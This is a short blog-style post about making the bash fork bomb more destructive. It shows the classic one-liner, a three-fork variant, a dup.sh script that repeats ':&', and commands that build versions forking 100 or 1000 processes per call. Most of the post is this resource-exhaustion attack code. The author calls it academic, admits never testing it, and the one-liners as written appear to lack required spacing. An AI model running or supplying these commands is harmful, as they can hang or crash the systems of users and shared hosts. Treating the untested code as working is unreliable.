# A note on the bash fork bomb

Here is the original fork bomb.

```
:(){:|:&};:
```

If you think about it for a minute you may agree with me that the following will be more destructive. This is just because each function call forks three processes instead of one.

```
:(){:|:& :& :&};:
```

Here is a script to generate string ":&" any number of times. We can use this script to fork it many many more times.

```
#!/bin/bash

##################
# dup.sh
# duplicates string set number of times.
# Written by Logan Won-Ki Lee
# 28 July 2022
#
# Usage:
# dup.sh [command] [repeat]
# where
# command: string to duplicate
# repeat: number of times command should be duplicated.
#
# example:
# dup.sh :"&" 10
# :& :& :& :& :& :& :& :& :& :&
##################

# tags: bash, string, duplicate

command=$1
repeat=$2
comma=
payload=

# if & character is present in command then enclose in quotes.
command=$(sed -E 's/&/\"&\"/' <<<$command)

# construct commas.
for n in `seq $((repeat-1))`; do
    comma+=",";
done

# construct payload.
payload=$(echo $command{$comma});

# print the payload.
eval echo $payload
```

Now to utilize it: 

```
$ echo ":(){:|$(echo $(./dup.sh :"&" 100))};:" > hundred.txt
```
This generates
>:(){:|:& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :& :&};:


So this destructive command forks hundred processes for each function call. You could even duplicate it thousand times per function call by:

```
$ echo ":(){:|$(echo $(./dup.sh :"&" 1000))};:" > thousand.txt
```

Now if you run this command it will hang the system (unless max process is set?). Actually, I haven't tried the command myself. It is just theoretical.

Please don't run this command in any shape or form. This article is for academic purposes only!
